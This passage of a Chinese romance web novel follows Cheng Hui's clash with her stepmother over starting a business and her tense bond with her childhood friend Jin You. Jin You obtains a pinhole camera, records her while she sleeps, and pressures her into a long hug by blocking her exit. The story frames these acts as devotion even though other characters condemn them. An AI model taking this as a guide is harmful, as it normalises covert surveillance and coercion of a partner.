程禧的话平静的毫无波澜,却听的程徽心慌不安,可她还是说:“我不是因为靳佑的原因才这么容易暴躁的,我只是容易跟他起争执。”
听出来她不愿意承认近段时间的变化是因为靳佑,程禧也不逼她,只是笑着嗯了声,又岔开话:“行,我这边还有点事要忙,就不跟你细谈这事了,以后再说。”
“今天这事我也会跟阿佑解释的,顺便跟他说这几天别打扰你。”
“好。”
*
如程禧所言,她确实是跟靳佑说了,近几天别打扰程徽。这种话别人说或许没用,但程禧说,就一定有用。
程徽也难得安静几天。
直到周六这天,本该是程徽和程禧回程家吃晚饭的日子。却没想到两人还没回去,就得知程父在国外出差时不小心伤了脚,正在医院,伤得不重,但程母不放心,当天就买了机票,要赶去看看。
正好机票是晚上的,程徽和程禧一起回去送程母。
进门后,只见程母推着行李箱往门口走,正守在一旁的司机上前两步,接过行李箱。程母却迟迟没有上车,反而跟程禧说:“小禧,你送我去机场吧。”
有司机在,却让程禧去送,摆明是有话要跟她说。
程徽不用猜都知道,一定和她有关。
但程禧也只能答应,“好。”
从司机手里接过行李箱,不放心的看了眼程徽,随即才推着行李箱往停在门外的车子走去。
院内,程母站在程徽面前,神色严肃,气势十足,声音缓慢却不失威胁的力量感:“我出国这段时间,你在岳海老老实实的,别惹事,省的给你姐姐找麻烦。至于你辞职的事情,我不可能答应。还有联姻的事情,你也不用再糊弄我,我知道你不会心甘情愿答应联姻。”
“我最多再给你半个月的时间,这半个月随你怎么玩,半个月过后老老实实回去上班。”
“还有,等你爸爸回来,辞职、联姻这四个字,不准提。”
算起来程徽提出离职也已经快一个月了,但程父到现在都不知道这件事。
他甚至不知道自己这个小女儿已经相亲见过几个富家子弟了。
程徽更是从来没有跟他联系过,此刻听程母这么威胁,却也清楚想要让母亲答应她离职,难了。
可程母不点头,程禧就更不可能做主答应。
毕竟后妈与继女之间的关系,实在敏感。
但这种事换了以前,程徽或许真的会妥协,可现在她又怎么可能会继续听从她的“吩咐”?
“辞职的事情,我已经想得很清楚了。就算您不答应、姐姐不批我的辞职报告,我也不会去程家的公司上班。等爸爸回来,我会跟他说辞职创业的事情。”
“如果这件事的代价只能是联姻,我心甘情愿的接受。”
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她铁了心的要按照自己的想法活。
谁也拦不住她!
可程母同样也是铁了心的要她留在程家的公司。
母女二人四目相对,程母面露怒意,眼底尽是失望,似乎对程徽这种举动不能理解。
程徽也不甘示弱,迎上她的目光。
直到近一分钟后,程母开口打破了两人之间的死寂:“纪修……是吗?”
纪修两个字才刚说出口,程徽肉眼可见的惊愕。
她会怎么知道纪修?!
尽管程徽暗恋纪修,可她从来没跟任何人提过,就连靳佑也是靠他自己猜出来的。
怎么母亲也知道?
看着程徽的神色,程母面上浮现淡淡笑意,一副胜利者的模样看着她,“我就说你大学时候状态不一样,看来我猜得没错,就是纪修。”
“我已经找人查过他了。他现在正在创业,而且正是缺资金的时候。你要是老老实实的,我可以投资,或者也可以找其他人投资他的项目。”
“如果我不听您的呢?”
“纪修的项目想拿到投资就会难一些。”
她没有笃定的说一定拉不到投资,仅仅是难一些。
可即便如此,也足以让程徽觉得心寒。
真是没想到他们之间竟然已经到了需要用别人威胁她的地步了。
母女做到她们这个份上,简直可笑。
程徽压抑着怒火,不甘心的问:“您为什么总是要这么逼我?”
“因为我是你妈,我不会害你的。”
程母目光越过程徽,看向院门口的程禧,眼神逐渐柔和,“我赶时间,你这段时间在岳海老实点,别惹祸,等我回来再说。”
说完抬起手,轻轻抚了抚程徽的脸。
“听话。”
听话——是她最常和程徽说的两个字。
程徽也真的做到事事听话。
从小到大都不被允许有自己的想法,程母只要她听话。学乐器、学舞蹈、学围棋……全都是程母安排的,容不得她拒绝,也容不得她选择。
可她不是傀儡,而是一个活生生的人……
*
深夜,云瑾公司内只剩下一间办公室的灯还亮着。
墙上钟表的指针已经指向十二点。
靳佑盯着手里针孔摄像头,眼神晦暗不明,似乎思绪早已经不在这间办公室。
直到手机震动,见是程禧打来电话,靳佑才从思绪中抽离出来,接听电话。
“阿佑,你和小徽在一起吗?”
“没有。”
自从上次程禧说让他给程徽几天时间,他就强忍着冲动,没联系过程徽。但程禧把电话都打到他这边来找程徽,看来是出事了。
“出什么事了?”
“她应该是心情不太好,现在打电话没人接,可能是去岳晖华庭了,我去那边找找。”怕靳佑担心,程禧又安抚:“没事的,小徽不是个会乱来的人,这会儿可能只是在忙。”
电话这头的靳佑已经站起身往门口走,“我去公寓附近找找,说不准是回公寓住了。”
“好。”
两人分头行动,靳佑开车往公寓的方向去,路上又接连给程徽打了几个电话,却都是无人接听。直到车子快开到公寓时,他打去的电话突然被接通——
可电话那头却传来一个陌生男人的声音:“您好,您是机主本人的朋友吗?”
靳佑慢慢将车子停在路边,警惕的问:“是,你是谁?徽徽的手机怎么在你那?”
该不会是出事了吧?
“我是城东清枫公园附近的巡警。机主本人喝了点酒,现在正……”
巡警看着正坐在宠物店玻璃窗外逼着猫说话的程徽,想了想还是委婉说:“机主本人现在正在琦琦宠物店门口,和猫玩。”
9. 死敌与家人
车子缓缓停在琦琦宠物店门口,下车后,快步走近,先看了眼坐在地上的程徽,见她没事,才松一口气,又看向满脸无奈的两位巡警和宠物店老板。
“抱歉,给几位添麻烦了。”
“添麻烦倒不至于,只不过她一个小姑娘,这么晚了一个人在外面,不安全,以后还是多注意点吧。”说话时巡警仔细打量着靳佑,“先生怎么能证明和这位女士的关系?”
靳佑才刚把程徽从地上拉起来,她手里还捏着几张红票,双眼迷离的冲着玻璃窗里面的布偶猫说:“你说句话,这钱就都、都是你的!”
说话时略显口齿不清。
但手里的钱却是在往前递。
隔着玻璃,恨不能要塞进去。
店老板看看那一沓钱,又看看玻璃窗里面的布偶猫。
可惜了,猫是真不会说人话。
靳佑见状也只好一手扶着她的腰,将人扣在怀里,另一手掏出手机,翻找出两人多年前的合照递给巡警看,又说:“如果照片不能证明我们认识的话,我可以给这位女士的姐姐打电话,她姐姐可以证明我和她的关系。”
其中一个巡警正盯着手机上的照片看,另一人只扫了一眼,说:“安全起见,还是打个电话吧。”
靳佑答应的爽快,当即给程禧打去电话。
却没注意到程徽正靠在他胸膛上,拿着钱的手正胡乱动。
隔着衬衫,钱角扫过胸膛,莫名的痒。
可他一只手揽着程徽的腰肢,一只手拿着手机,实在腾不出来手阻止她乱动,只能在她耳边低语:“程徽,别乱动,听话。”
听话!又是听话!
凭什么都要她听话!
即便是喝醉酒的程徽也仍是气的冲着他反驳:“你才听话呢!我不要听话!”
生气的像是被踩到了尾巴。
电话已经接通,靳佑一边和程禧说明眼前情况,一边大掌轻轻抚着程徽的后背,试图安抚她的情绪。
随后将手机递给巡警,在确认可以将程徽交给靳佑时,手机才又交还给靳佑。
靳佑又冲着程禧说:“我送她回公寓,要是有什么事我再给你打电话。”
言外之意无非就是让程禧不用去了。
程禧应了声好。
等电话挂断,靳佑直接把程徽打横抱起,塞进了车子的后排座。
关好车门,又冲着两位巡警和宠物店老板道谢,旋即便开车带着程徽离开。
*
车子开的慢且稳,后排车窗也开着,散去淡淡的酒味。
可也吹的程徽脑袋更是昏昏沉沉,偏头靠在副驾驶的靠背上,恰好看见了正在开车的靳佑,“靳佑?你怎么在这?也太巧了吧!”
她似乎根本不记得发生了什么。
靳佑勾唇,气定神闲的胡说八道:“你说你想我了,我就来见你了。”
“我想你了?”
喝醉酒的程徽竟还认真想他这话的真假,过了一分钟才嘟囔着说:“不可能,我怎么会想你,我好像记得……记得要躲着你。”
“为什么躲我?”
喝了酒以后的程徽反应有点慢。
但似乎还记得一些事,只是分不清什么该说、什么不该说。
想了半晌,程徽说:“你好奇怪……”
靳佑还没来得及问哪里奇怪,她又改口:“不是,是我好奇怪。”
靳佑笑笑,“奇怪的人配奇怪的人,正合适。”
后排的人没了动静,只听见浅浅的呼吸声传来。正好是红绿灯,靳佑回头看她。
只见人已经睡着了。
车窗关上,红绿灯过后,车子又开了一段才停在路边。
安全带解开,下车,绕到后排,将身上大衣脱下盖在她身上。
结实手臂撑在车门上,许是天色晚,四周都格外的安静,靳佑靠得近,能清晰的听见她的呼吸声。
睡着的程徽,像是一只窝在怀里的猫,安静乖顺。
但她醒着的时候,却和乖顺两个字,不沾边。
*
回去的路上,车子开的慢,二十分钟的路程,他愣是半个多小时才赶到地方。下车后,抱着程徽回公寓,用她的指纹开锁,将人抱回屋内。
等一切安排好,靳佑却不着急回去,反倒坐在床边,掏出手机,打开录音放在她枕边。
随后才提脚走出去,关上卧室的门,蹑手蹑脚的去客厅的沙发上坐下,手里拿着带过来的针孔摄像头。
夜色愈浓,客厅内没有开灯,只有月色透过玻璃照进来,像是一层霜,落在靳佑的后背上。
卧室内的暖色系灯光从门缝中透出,仿佛冬天漫天大雪之后的一缕暖阳,正好被他看见。
修长手指蜷起,将针孔摄像头收起,靠在沙发上看着那缕暖色的光,冷漠的眼神逐渐回温……
直到早上六点,靳佑买好早饭放在桌上,才拿着手机从程徽的公寓离开。
一路开车回到靳家,正好碰上靳父要出门。
见他回来,司机识趣的先去了车里,留下父子二人。
靳佑正要绕过他直奔楼上,靳父突然开口:“你那摄像头,打算装哪?”
昨天他才刚拿到针孔摄像头,今天靳父就提起这事。看来他身边那些秘书、助理,果然都在监视他。
靳父回头,看向靳佑的背影:“不会是要装在小徽家里吧?”
虽是询问,但却像是带着一股莫名的肯定。
这种东西,他能装哪?
无非就是用来监视程徽用的。
“我警告你,这种肮脏的事,你最好是打消念头,否则以后被发现,整个靳家的颜面和公司的市值都会被这件事影响。我不管你们两个人之间的事,但影响到靳家和公司,就是不行。”
口气一如既往的强势。
毕竟这件事会伤害到他最在乎的两件事——靳家的颜面和公司的市值。
靳佑双手插兜回过身,笑的吊儿郎当,眼神肆意嚣张,“这是我和她之间的事,劝靳总别管太多。”
“你——”
楼上其中一间卧室的门被打开,靳父的声音戛然而止。
靳承从屋内走出来,手里还拿着几份文件。见两人神色不对,轻声问:“怎么了?”
探究的目光在二人脸上徘徊。
靳父像是抓住了靳佑的把柄,理直气壮的说:“这小子竟然在小徽的屋里装针孔摄像头,这么丢人的事,他竟然也做得出来,还不知悔改!”
一番操作更像是告状。
目光挪到靳佑的脸上时,又是一副恨铁不成钢的神色,“你就没想过要是程徽知道这件事,会是什么后果吗?”
“知道就知道,我有什么好怕的!”
满不在乎的口气,听的靳父火冒三丈。
可靳父越是生气,靳佑就越是笑的高兴,“再说,这种事她又怎么可能知道?除非是靳总您亲口跟她说。”
靳父被气的脸色乍白乍红,咬牙吐出一句:“我怎么会生出来你这么一个败类!”
余光扫过墙上的钟表,已经七点半了。
上午还有个会,靳父需得尽快赶过去,没时间再教训他,只能将这件事交给靳承,“你好好管管他!出国几年,现在真是越来越无法无天了。什么事都敢做,也不嫌丢人!”
说完狠狠瞪了眼靳佑,眼神中尽是失望,转身就走。
眼看着宾利车驶出院子,靳佑转身要往楼上去,显然不愿意听靳承多说。
“阿佑,你真的在小徽房间里装了针孔摄像头?”靳承声音一如既往的平静。
没有急于斥责和教训,反而先问清楚事情。
靳佑却不愿和他多说,“关你什么事!”
“如果是真的,尽快联系小徽,跟她道歉。”
靳承跟着一起去楼上,耐心劝说:“小徽是个女孩子,这种事情对她来说,伤害极大,你不能这么做。就算是喜欢,也
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不能用这种方式监视她。”
走在前面的靳佑停下脚步,迟迟不曾回头,依旧双手插兜。但顷刻间,整个靳家都陷入了低气压的氛围中,管家和保姆也都悄悄躲进屋内。
他低笑了声,口气散漫:“靳承,你不会真当自己是靳家人了吧?”
回过身,轻轻挑眉,目光挑衅。
“你已经不在靳家的户口本上了,有什么资格管我的事?”
这话堵得靳承接不上话。
靳佑又说:“还是说你现在要选择跟着爸,这样也好回来争夺靳家的财产?想要什么?股份?店铺门面?还是房子车子?”
“阿佑,我……”
“别叫我阿佑!”靳佑突然怒吼,“我他么听见你叫我阿佑就觉得恶心!恶心你懂吗?!”
他瞪圆了双眼,犹如雄狮正盯着死敌。
愤怒席卷了他所有的理智。
靳佑说:“你——不!是你们!都没资格插手我的事!我要做什么,也用不着你们管!”
“还有你……你已经不是靳家人了,还留在靳家做什么?真以为能从靳家分走财产?我告诉你,有我在,这财产你一分都别想拿走!”
“阿佑,我不是为了财产,我是——”
“我说了别叫我阿佑!听不懂人话?”
一向温润的靳承,此刻也被说的整张脸憋得通红。
可看着眼前的靳佑,却还是忍不住心疼。
兄弟二人四目相对,靳佑忽地扬唇一笑,眼神却冷的出奇,“少用这种眼神看我,我用不着你可怜,我这些年日子过的很好,好歹也是靳家以后得继承人呢,怎么可能会过的不好!”
“反倒是你,当初选择跟她走,现在就应该去国外!赖在靳家干什么?”
“还有你那个什么破建筑师事务所,那玩意儿开在北川,不在岳海!你留在岳海干什么?”
靳承和朋友一起开了间建筑师事务所,地址定在北川市。距离岳海市有八百多公里,平时多是交给朋友打理事务所。
他以为靳佑刚回国,应该不知道这件事。
没想到他连这件事也知道。
字字句句的质问,靳承都答不上来,只是看着眼前处于暴躁状态下的靳佑,满眼心疼。
——如果当初他没离开,是不是阿佑就不会变成这样?
靳承曾无数次想过这个问题。
可都没有答案,只是徒增愧疚。
此刻看着靳佑几近失控的样子,靳承只能先逼自己冷静下来,将话题拉回来:“你不能在小徽的住处装针孔摄像头,这样是不对的。”
靳佑盯着他看了三秒,蓦然笑了,仰头看着靳家三楼的房顶。
上面画着繁复的花纹。
绚烂夺目,却也透着一丝诡异。
笑容缓缓落下,靳佑满眼失望,出口还是那句:“我和她之间的事,用不着你管!”
说完转身回屋。
“砰”的一声摔上房门,震的二楼地面都轻轻抖了下。
顷刻间,整个靳家回归安静。
只剩靳承还在走廊上。
几分钟后,他才捏着手里的文件回了屋。犹豫再三,拿出手机翻找出程徽的手机号。
正要拨过去,却还是决定先给程禧先打去电话。
只是不凑巧,电话响了几声却无人接听。
直到半个小时后,程禧才回电话,接通的一瞬间,客气道:“抱歉,刚在开会,没带手机。”
“突然打来电话,是出什么事了吗?”
“是阿佑和小徽的事情。”
靳承将针孔摄像头的事情说了出来,最后又特意说:“这件事只是猜测,暂时还没有证据。但阿佑做事情经常有失分寸,为了以防万一,还是在小徽屋子里查一下吧。”
原以为程禧会觉得惊讶,再附和说会查一下。
但让人意外的是程禧的回答——
“不可能。阿佑不会做出这种事。”
10. 一家人
中午十一点,程禧特意给程徽打个电话,要她来公司附近吃饭。还不到十二点,程徽早早的就赶来了办公室等着她下班。
她安安静静的不说话,坐在沙发上看手机,不时皱下眉。根本没发现程禧频频抬眼看她,等手上工作处理完,才问:“酒醒了?”
“都睡一觉了,肯定醒了。”
程徽把手机关上,站起身,“忙完就去吃饭吧。”
“还要等会儿。”程禧起身倒了杯水,干净修长的手指拿着玻璃杯,递到程徽面前,转而才给自己倒一杯,“以后有什么事别只知道用喝酒解决问题,冷静下来想想,总会有别的办法。”
提起喝酒的事,程徽顿时像泄了气的皮球,聋拉着肩,有点委屈的说:“也不是用喝酒解决问题,只是觉得心情烦闷,就想喝两杯。”
谁知道酒吧的酒太好喝,根本喝不出酒味,一时没忍住就多喝了几杯。
没想到后劲儿这么大!
“我以后不会了,就算再喝酒,也一定不会喝醉!”
认错态度良好,程禧也就没再揪着这事不放,只是叮嘱:“你喝多少我不管,但如果是在外面喝酒,必须要带上别人一起。最好是带上阿佑。”
“带他干什么!”
躲都躲不及呢,程徽脱口而出:“不带!”
“你带他去,我放心。”见她一脸的不情愿,程禧又妥协:“不带也可以,但只能在家喝,不准去酒吧那些地方。”
有些时候,程徽甚至会觉得程禧才像是她母亲。
懂的替她着想,两人待在一起的感觉也很舒服,就连这些啰里啰嗦的叮嘱,也大多是程禧在说。
而且程禧不会像程母一样威胁她。
可只有一点不好——她对靳佑未免过于信任了。
“姐,我才是你妹妹,靳佑他就是个外人!”程徽特意强调,“而且他整天就知道说些有的没的,还会对我动手动脚,你怎么能这么相信他呢?”
话落,迎面就挨了程禧一个脑瓜崩。
“说话没点分寸,你这话让阿佑听见多难过。”
“本来就是嘛!”程徽揉揉额头,不服气的嘟囔。
“你们两个十岁就认识,我是看着你长大的,也算是看着他长大的。说他是我半个弟弟也不为过,只不过平时联系的少而已,你说我为什么相信他?”
只不过打心眼里来说,她自然是更疼程徽。
程禧见她还是一脸不服气,抬手掐了下她的脸,“你呀你,跟阿佑之间好好聊聊,当年的事情兴许是有误会。”
“他自己亲口承认的,这还能有什么误会?”
说着就掏出手机翻找出聊天记录,硬是拉到半年前的聊天记录,递到程禧面前,“他自己都承认他找人盯着我了!这件事根本就没有误会!”
程禧只看一眼,就说:“承认也不代表是事实。”
“我、他……他都承认了,为什么不算事实?”
程徽被气的语无伦次,“我看你就是偏心,你现在就是偏心他!你到底是我姐还是他姐!”
一把将手机收进包里,气的程徽哼了声,双手抱臂背对着她。
又炸毛了。
可程禧却笑的欣慰。
办公桌上那副简笔画中的程徽,无形之中被牢笼禁锢多年,冷静二字足以扼杀她所有的天真与本性,但现在,牢笼在一点点被打开。
她越是这么容易炸毛,就越是令程禧欣慰。
毕竟谁会不想让自己在意的人过的随心所欲呢?
“他跟你说了有的没的,都说了什么?还有他对你动手动脚的事,是怎么回事?”程禧岔开话,身子倚在办公桌上,盯着她的侧脸。
说了什么……
这个还真不好说。
程徽红着耳根,有点心虚:“没说什么。”
“那动手动脚的事呢?”程禧歪头看她,“也是假的?”
“真的!”程徽倏地回身,但迎上程禧的目光时,又忽地泄了气,小声嘀咕:“他抱了我。”
“就只是抱了?”尾音微挑,仿佛是在说:就这?
细想只是拥抱似乎也不算什么,尤其是两人认识这么多年,以前也曾经抱过。一时间就连程徽都想不出靳佑抱她有什么不妥的。
唯一不妥的就是……男女授受不亲?
可这都什么年代了,抱一下又没事。
程徽想了半晌也没能想到怎么解释,最不妥的地方就是靳佑说的那些话。
尤其是春梦!
可那些话又不能跟程禧说。
她一手摸着下巴,一手拖着手肘,思忖着如何把靳佑的恶劣行径说出来,但想来想去也没想出来怎么说。
恰在此时,办公室的门突然被推开——
“程总,”秘书拿着两个箱子走进来,“这两套茶具,一套黑陶材质的,一套紫砂陶材质的,您看送哪一套合适?”
程禧目光扫过茶具,“都留下。”
“好。”茶具放下,秘书又说:“那水果方面……”
“这点小事你就不用操心了,到时候我买。”程禧放下杯子,身子站直,俨然一副要出去的架势。
秘书没再多停留,应了声好,转身离开。
等门关上,程徽才迫不及待的问:“买茶具要送给谁?”
“公司有位股东生病住院了,要去一趟。他平时喜欢喝茶,家里好茶肯定不缺,干脆送一套茶具。至于另一套……”
程禧勾唇,“今天晚上要去一趟靳家,干脆给靳总送去。”
“去靳家做什么?”
“去感谢阿佑昨天晚上大半夜的还去找某个醉鬼。”
茶具拿来了,程禧也没必要再留在办公室了,姐妹二人往门口走去。
去靳家……
兴许那件事也能拜托靳佑帮忙。程徽心想。
“我也去!”
“你去做什么?”
“保密。”
程徽挽着她的臂弯,靠在她肩头,像是个没长骨头的软体动物,嘴里还念叨着:“姐,你不能太偏爱靳佑,你要偏向我一点,我才是你亲妹妹。”
“你以前都很偏向我的!”
眼看都二十三的人了,却还像个孩子一样,但程禧还是笑着答应:“好,我以后都偏向你,就只偏向你,这总行了吧?”
长廊上,姐妹二人有说有笑的往电梯走去。
正好是中午下班时间,陆续从其他办公室出来的人,听到说话声刻意的放慢脚步,连说话的声音也压低了。
“程总和她妹妹感情还真好。”
“感情好有什么用?等以后老程总分家产的时候,还是要闹掰。”
“也是。一个妈生的,都会因为财产的事情闹掰呢,何况她们还不是一个妈生的。”
“看着吧,她俩迟早会闹掰,说不准还会闹到新闻上呢!”
……
*
晚上,七点。
程禧带着程徽到了靳家,正好靳总也已经回来,靳承也在家里。
唯有靳佑迟迟没回来。
“他肯定是在公司处理工作呢。”靳总解释一句,又冲靳承说:“去给他打个电话,就说小禧和小徽都来了。”
“不用,我们来也没什么事,只是这段时间小徽没少给阿佑惹麻烦,我这个当姐姐的,来感谢一下。”
程禧说的落落大方,转过头又看了眼程徽,“听说前段时间小徽还去您面前告状了,她呀,做事是一点分寸都没有,也亏的是靳总您脾气好,要不然这事可就闹大了。”
说话间,靳承已经出客厅去给靳佑打电话。
屋内,程徽乖乖坐在她身边,一句话都不说。
这些人之间的“寒暄客套”她可学不会,也插不上话,只能乖乖听着。
“嗐!这有什么,小徽就跟我自己亲女儿一样,她去我那告状,那是说明她相信我,我高兴还来不及呢。”靳总笑呵呵道,但转而脸色又忽地严肃,轻叹了口气说:“要说做事没分寸,那也是阿佑那小子做事没分寸,整天就知道去惹小徽生气。”
“小徽啊,以后阿佑要是再惹你生气,你就去找我,伯父给你做主!”
程徽下意识看了眼程禧,似乎是要看她脸色说话。
程禧却抢先一步说:“阿佑才不会惹她生气,小徽能不惹阿佑生气就不错了。”
“说起来这俩孩子还是从小一起长大的,要是能在一起,也是缘分。我还真盼着能有小徽这么一个儿媳呢,正好能管着他。”
靳总话刚说完,程徽就偷偷扯了扯程禧的衣服。
生怕程禧说错了话。
“这种事,还要看他们两个的意思,咱们可做不了主。不过小徽玩心重,结婚这事,估计是早着呢。”程禧说话时隐隐听见院外车子驶来的动静。
别墅区较为安静,有车子来,自然是附近有人回来了。
几人看向门口时,正巧熟悉的车子开进车库,靳佑从车里下来,直奔客厅。
从靳承身边路过时,没看他一眼。
靳承慢慢将手机收起。
接连打了几个电话他都不接,看来还在为摄像头那件事生气。
只是他不明白,既然摄像头的事情不是真的,为什么不愿意说出实话呢?难道解释清楚就那么难?
屋内响起几人的声音,靳承回头看去,迟了一步才进客厅。
只见靳佑坐在程徽身边的沙发扶手上,而程禧坐在程徽的另一侧,三人在一起,更像是一家人。
“姐,你们来怎么也不提前打个电话?要是提前说一声,我早就回来了。”跟程禧说话,靳佑的声音里都透着股随意自然。
似乎那一声姐,早就已经喊习惯了。
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可自从靳佑回国后,却从来没有喊过靳承一声哥。
程禧笑笑,“又没什么大事,只是来谢谢你昨天晚上去找小徽。大晚上的,真是麻烦你了。”
说着又看向程徽,主动帮她说:“正好小徽也说找你有点事,还说是什么秘密,连我也不告诉。要不你们两个出去聊?或者去楼上?”
程徽正愁不知道怎么开口呢,这下好了。
真不愧是她的好姐姐!
“去楼上吧。”靳佑说着就起身往楼上去,根本不给程徽选择的机会。
正想说出去聊聊的程徽,也只能在几人的目光下,跟着他往楼上去,直奔靳佑的房间。
房门打开,灯顷刻间亮起,靳佑站在门口,等程徽进来,又将门关上。
房子的隔音好,四周突然静了下来。
程徽正看着四周的布置,边走边说:“你这屋子黑漆漆的,一点亮色系的东西都没有,你也不嫌住的难受?”
床上四件套都是深棕色,沙发是黑皮的,衣帽间的柜子是深灰色,就连玻璃都是暗色系。整个屋子即便是开了灯,却还是让人感到压抑。
桌上摆着电脑和一摞资料,再没有其他杂乱的东西,干净的简直像是临时居住的地方。
全无半点温馨可言。
“习惯了。”
靳佑食指扣住领带,扯下,随手将其仍在沙发上,又解开衬衫扣子,瘫坐在沙发上,抬眼看着一身米色着装的程徽。
亮色系?她算吗?
他仰头望她,许是心有灵犀,程徽垂眼看他。
四目相对,莫名的让人想到那夜梦境中,她也是像这般高高在上,垂眼看着身下的他。
他清楚记得她在梦境中喊他:“阿佑……”
算起来,他已经很久没听她喊过他阿佑了。
更不必提梦境中那声勾魂似的阿佑了。
靳佑忽地有些口干舌燥,喉结不受控的滚动几番。
人就在眼前,就算两人之间还没到那一步,但抱一下总归是没问题的。
站起身,上前一步——
程徽都已经被这人抱过几次了,此刻更是反应快,同一时间后退半步,警惕的看着他,“干什么!”
她伸出手臂,以确保二人之间保持一臂的距离。
靳佑竟然真的乖乖止步,双手插兜的站在她面前,笑的吊儿郎当,“你既然是有求于我,提前拿点好处,不过分吧?”
——她如果不是有求于他,是不可能主动来找他的。
程徽被揪住了小辫子,但手仍旧没放下,“先说正事。”
靳佑点头,示意她说。
“我要自己出来创业,不是什么大公司,只是想做汉服和古风的首饰生意。但需要租房子,最好是在大厦里面,比较安静。房子我在网上看了,有合适的,但那些房东几乎都是我母亲认识的人,所以我不方便出面租下来。”
虽说程母不准她出去创业,也不准她辞职。但程徽如果是个听话的性格,也不会因为辞职的事情和程母僵持这么久了。
更何况,程母还用纪修威胁她!
如果她真的乖乖听话了,以后程母就能用纪修威胁她做任何她不想做的事情。既然迟早是要反抗,那就从现在开始,让程母从一开始就别试图用威胁的手段逼她就范。
所以,单独出去创业这件事,她还是要做。
只是这件事与别的事情不同,至少如今她和程母之间已经闹到这种地步了,程徽自然不愿意将程禧牵扯进来,思来想去也就只能找靳佑帮她做这件事。
见靳佑不说话,程徽又说:“租金我出,你只要出面帮我租下那几间房子就行。”
只是要租下几间工作室,花不了几个钱。
靳佑也不在乎这点钱。
但时机难得,他只是在想该向她讨要什么好处。
“钱我来出,但你要是想让我帮你做这件事,答应我一个条件……”靳佑上前半步。
来的路上程徽就猜到他会提条件,此刻自然也不觉得惊讶。
她慢慢放下手臂,算是准许了靳佑的靠近。但眼睁睁的看着他步步逼近,程徽还是下意识深吸了口气,做足了心理准备才说:“什么条件?”
还能是提什么条件?
要么就是像之前一样抱她,要么就是逼着她答应监视的事情一笔勾销,以后再也不准提。
无非就是这二者之一。程徽心想。
却见靳佑站在她面前,弯下腰,笑容玩味的看着她。
蔫坏蔫坏的,怎么看都像是不怀好意!
他靠得太近,程徽不自觉挪动脚步,耳根发烫,莫名的心跳加速。
却又故意没好气道:“你说不说,不说就作废了!”
靳佑低笑,连说话的声音都裹挟着笑声,但也更像是在诱哄:“你喊我一声阿佑,这件事我帮你。”
11. 爱与被爱
就只是喊一声阿佑?!
这算什么要求?
他该不会是出国几年脑子坏掉了吧?
程徽看傻子似的盯着他,想了三秒,反应过来后,像是怕他反悔,又急又快的喊了一声:“阿佑。”
“……”
房间内充斥着诡异的静。
对面的靳佑脸色一点点沉下来。
不对!不是这样的!
她怎么能喊得……毫无感情?!
简直就像是在喊一个陌生人,冷漠的没有一丝丝感情。
和梦境中的感觉,完全不一样!
而且她喊得太快,阿佑听起来更像是“哎哟”。
靳佑不甘心,提出了更详细的要求:“你带点感情,喊得好听点。”
“感情?我对你能有什么感情?有感情的时候都是喊混蛋、变态。”
被惹生气,也算是有感情。
见靳佑的脸色不对,程徽警惕的盯着他,“你不会是要出尔反尔吧?”
“……如果我说是呢?”
天赐良机,就这么浪费了,他怎么甘心?
当然是要想办法再讨点好处,哪怕是用脸皮换来的也行。
程徽冷笑,“你这人果然不可信!骗子!”
气的哼了声,转身要走。
“我就不应该找你帮忙!”
结实臂膀伸出,掌心撑着墙,正好挡住了程徽的去路。
她斜睨了一眼靳佑。
混蛋!这就想拦住她?!
未免也太小瞧她了吧!
快速屈膝、弯腰,意图他手臂下来钻过去,动作一气呵成。
然而,靳佑却像是预料到了她的一系列操作,抵着墙的手臂也在跟着下移,稳稳地拦住了程徽。
程徽试了几次,都没能钻过去。甚至还试图从另一个方向绕开他离开,却也都被拦下。
事实证明,不是靳佑小瞧了她,是她小瞧了这人的脸皮厚度!
跑不掉,只能先妥协。
程徽转过身,面对他。即便是不开口,可意思却不言而喻——现在可以重新提要求了。
“你主动抱我一次,这件事我帮你。”靳佑换了个要求,反正以后有的是机会让她喊阿佑。
但吸取了上次的教训,又特意加个条件。
“抱十分钟。”
十分钟?!开什么玩笑!
程徽脸上写满了不可置信,嗤笑道:“不需要你帮忙了,我找别人去。”
“你试试。”靳佑轻挑眉,话里暗藏威胁。
那副样子简直像是在说:你找别人帮忙能办成这事,小爷就不姓靳!
办成一件事不容易。
可要是想从中作梗,那可就太简单了。
尤其是对于靳佑这种没脸没皮还毫无底线的人来说,更是轻而易举。
程徽抱臂靠在墙上,两人四目相对,靳佑笑的得意,像是吃定了她会妥协。
不得不承认,这件事找靳佑帮忙,比找其他人帮忙更合适、方便。
要不然她也不会特意来找他。
妥协就妥协!
但条件嘛……当然是要重新谈。
“只能抱一分钟。”
“十分钟。”
“就一分钟!”
“十分钟,一秒都不能少。”
“一分钟,不抱就算了。”
两个倔脾气的人,连折中都不考虑,各自坚持着自己的想法。
讨价还价失败,程徽转身要走。
可一转身却发现这人的两条手臂都架在她两侧,愣是将人困在了怀里。
靳佑看着她像是笼中困兽一般,唇角不自觉勾起,终究是松口:“十分钟,不用你主动抱我,我来抱你。”
时间依旧不愿意少一秒,但他甘愿放弃另一个条件。
始终绷直的手臂,一点点放松下来,程徽嘴里还在说着只能抱一分钟,但却已经被靳佑抱进了怀里,紧紧地、密不透风似的抱着。
两人之间的距离顷刻间被拉近,灼热的身体贴上来。在秋日里,这个怀抱正适合畏寒的程徽。
原本还嘟嘟囔囔的说只能被抱一分钟,但被抱住的那一刻,却不说话了。
整个屋子都安静下来。
只剩下两人的呼吸声和心跳声。
他低着头,呼吸声在她耳边响起,莫名有些粗重,甚至带着些轻喘。
只有她能听见。
听的程徽耳根都红了,却也没敢多想,只觉得耳根烫的厉害。
她抬眼看灯,光照在头顶,刺的她头晕目眩。
一定是因为这灯,才让她觉得耳根发烫!程徽心想:反正不会是别的原因。
“你怎么不说话了?”靳佑低着头,下巴抵在她的肩窝处,脸颊恰好紧贴着她的耳根。声音在耳边响起,像是深夜中戴着耳机看的一场电影,低沉又好听。
程徽目移,看遍了屋顶的角角落落,没好气道:“说什么?说你这人根本就是不讲诚信,也毫无底线可言?”
他低低的笑了声,莫名的好听,还带着股勾人的劲儿,听的程徽心痒痒的。
怪事!怎么和靳佑待在一起和以前感觉不一样呢?
一定是太久没见了!程徽只能这么安慰自己。
“既然你不说,那就我来说。”
像是在思考该说什么,靳佑迟了几秒才开口:“在国外的时候,我认识的那几个留学生,经常会有人去看他们。去的有朋友,也有家人。那些人去的次数不算多,但我看得出来,他们都有人惦记。”
静谧的屋内,他没有声嘶力竭,只是平静淡然的说着没人知道的往事。
——所有人都有人惦记,唯独他没有,也没有人去看他。
程徽听出了他的言外之意,心里只觉堵得慌。
